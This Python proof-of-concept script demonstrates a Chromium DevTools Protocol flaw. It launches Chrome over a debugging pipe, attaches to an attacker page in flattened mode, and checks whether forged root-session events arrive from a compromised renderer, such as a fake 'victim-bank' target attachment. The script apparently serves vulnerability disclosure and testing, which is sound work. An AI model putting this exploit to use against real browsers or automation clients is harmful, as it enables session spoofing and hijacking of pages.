#!/usr/bin/env python3
"""
CDP client demonstrating that a compromised renderer can impersonate the root
DevTools session in flattened CDP mode.

This script plays the role of a CDP automation client (Puppeteer/Playwright).
It connects to Chrome via --remote-debugging-pipe (the same transport Puppeteer
uses), attaches to a page in *flattened* mode, and sends one command to the
renderer.

The patched ("compromised") renderer then sends a CDP notification over its
child-session DevToolsSessionHost mojo pipe WITHOUT a top-level "sessionId"
field. The browser process forwards the bytes verbatim to this root client
(content/browser/devtools/devtools_session.cc:540-574 and
target_handler.cc:583-595) without validating or rewriting the sessionId.

The result: this root client receives renderer-fabricated events that are
indistinguishable from browser-originated root-session events -- including a
forged Target.attachedToTarget that claims a fake "victim-bank" page is bound
to the attacker's own sessionId.
"""

import json
import os
import select
import subprocess
import sys
import time

CHROME = os.environ.get(
    "CHROME", "/chromium/chromium/src/out/asan/chrome"
)
USER_DATA_DIR = "/tmp/chrome-poc-profile"
ATTACKER_URL = "data:text/html,<title>attacker.example</title><h1>attacker-controlled page</h1>"
TIMEOUT_S = 60


def main() -> int:
    # Pipe pair 1: client -> chrome (chrome reads on fd 3)
    c2b_r, c2b_w = os.pipe()
    # Pipe pair 2: chrome -> client (chrome writes on fd 4)
    b2c_r, b2c_w = os.pipe()

    # Chrome's --remote-debugging-pipe reads from fd 3 and writes to fd 4.
    # os.pipe() sets CLOEXEC (PEP 446); dup2(x, x) is a no-op and does NOT clear
    # it, so we must clear CLOEXEC explicitly so the fds survive exec().
    def preexec():
        os.dup2(c2b_r, 3)
        os.dup2(b2c_w, 4)
        os.set_inheritable(3, True)
        os.set_inheritable(4, True)
        for fd in (c2b_r, c2b_w, b2c_r, b2c_w):
            if fd not in (3, 4):
                try:
                    os.close(fd)
                except OSError:
                    pass

    argv = [
        CHROME,
        "--remote-debugging-pipe",
        "--headless=new",
        "--no-sandbox",
        "--disable-gpu",
        "--no-first-run",
        "--no-default-browser-check",
        "--user-data-dir=" + USER_DATA_DIR,
        "about:blank",
    ]
    print("[*] launching:", " ".join(argv), file=sys.stderr)
    proc = subprocess.Popen(
        argv,
        preexec_fn=preexec,
        close_fds=False,
        stdout=subprocess.DEVNULL,
        stderr=open("/tmp/chrome-poc-stderr.log", "wb"),
    )
    os.close(c2b_r)
    os.close(b2c_w)

    out = os.fdopen(c2b_w, "wb", buffering=0)
    inp = os.fdopen(b2c_r, "rb", buffering=0)

    next_id = [0]
    pending = {}

    def send(method, params=None, session_id=None):
        next_id[0] += 1
        cid = next_id[0]
        msg = {"id": cid, "method": method, "params": params or {}}
        if session_id is not None:
            msg["sessionId"] = session_id
        raw = json.dumps(msg).encode()
        print(f"[>] {raw.decode()}")
        out.write(raw + b"\x00")
        return cid

    buf = bytearray()

    def read_msg(deadline):
        nonlocal buf
        while True:
            i = buf.find(0)
            if i >= 0:
                raw = bytes(buf[:i])
                del buf[: i + 1]
                try:
                    return json.loads(raw.decode())
                except Exception as e:
                    print(f"[!] bad json from chrome: {e}: {raw!r}")
                    continue
            remaining = deadline - time.time()
            if remaining <= 0:
                return None
            r, _, _ = select.select([inp], [], [], remaining)
            if not r:
                return None
            chunk = inp.read(4096)
            if not chunk:
                return None
            buf.extend(chunk)

    def wait_result(cid, deadline):
        while True:
            m = read_msg(deadline)
            if m is None:
                raise RuntimeError(f"timeout waiting for result of id={cid}")
            log_incoming(m)
            if m.get("id") == cid:
                if "error" in m:
                    raise RuntimeError(f"CDP error: {m['error']}")
                return m.get("result", {})

    spoofed_root_events = []
    legit_attached = []

    def log_incoming(m):
        sid = m.get("sessionId")
        tag = "ROOT" if sid is None else f"sid={sid[:8]}.."
        if "method" in m:
            print(f"[<] event  [{tag}] {m['method']} {json.dumps(m.get('params', {}))[:200]}")
        else:
            print(f"[<] result [{tag}] id={m.get('id')} {json.dumps(m.get('result', m.get('error', {})))[:200]}")

    deadline = time.time() + TIMEOUT_S

    try:
        # --- 1. Create attacker-controlled page ------------------------------
        cid = send("Target.createTarget", {"url": ATTACKER_URL})
        target_id = wait_result(cid, deadline)["targetId"]
        print(f"[*] attacker targetId = {target_id}")

        # --- 2. Attach in FLATTENED mode (Puppeteer default) -----------------
        cid = send("Target.attachToTarget", {"targetId": target_id, "flatten": True})
        attach_res = wait_result(cid, deadline)
        child_sid = attach_res["sessionId"]
        print(f"[*] child sessionId  = {child_sid}")

        # --- 3. Send one renderer-handled command to the child session -------
        # This reaches blink::DevToolsSession::DispatchProtocolCommandImpl in
        # the (compromised) renderer, which then fires the spoofed root events.
        send("Runtime.enable", {}, session_id=child_sid)

        # --- 4. Collect events for a few seconds -----------------------------
        collect_until = time.time() + 10
        while time.time() < collect_until:
            m = read_msg(collect_until)
            if m is None:
                break
            log_incoming(m)
            if "method" not in m:
                continue
            method = m["method"]
            top_sid = m.get("sessionId")
            if top_sid is None:
                # Root-session event.
                if method == "__SPOOFED_BY_COMPROMISED_RENDERER__":
                    spoofed_root_events.append(m)
                elif method == "Target.attachedToTarget":
                    ti = m.get("params", {}).get("targetInfo", {})
                    if "SPOOFED" in ti.get("targetId", "") or "victim-bank" in ti.get("url", ""):
                        spoofed_root_events.append(m)
                    else:
                        legit_attached.append(m)

        # --- 5. Verdict ------------------------------------------------------
        print()
        print("=" * 78)
        if spoofed_root_events:
            print("[!!!] VULNERABLE")
            print("[!!!] The root CDP client received the following ROOT-session")
            print("[!!!] events that were fabricated by the renderer process and")
            print("[!!!] forwarded by the browser without sessionId validation:")
            print()
            for m in spoofed_root_events:
                print("    " + json.dumps(m, indent=4).replace("\n", "\n    "))
            print()
            print("[!!!] A real automation client (Puppeteer/Playwright) would")
            print("[!!!] now create a Page object for https://victim-bank.example/")
            print("[!!!] whose commands route to the attacker's renderer (sessionId")
            print(f"[!!!] {child_sid}).")
            rc = 0
        else:
            print("[ ] NOT REPRODUCED: no spoofed root-session events received.")
            rc = 1
        print("=" * 78)
        return rc

    finally:
        try:
            send("Browser.close")
        except Exception:
            pass
        try:
            out.close()
        except Exception:
            pass
        proc.terminate()
        try:
            proc.wait(5)
        except Exception:
            proc.kill()


if __name__ == "__main__":
    sys.exit(main())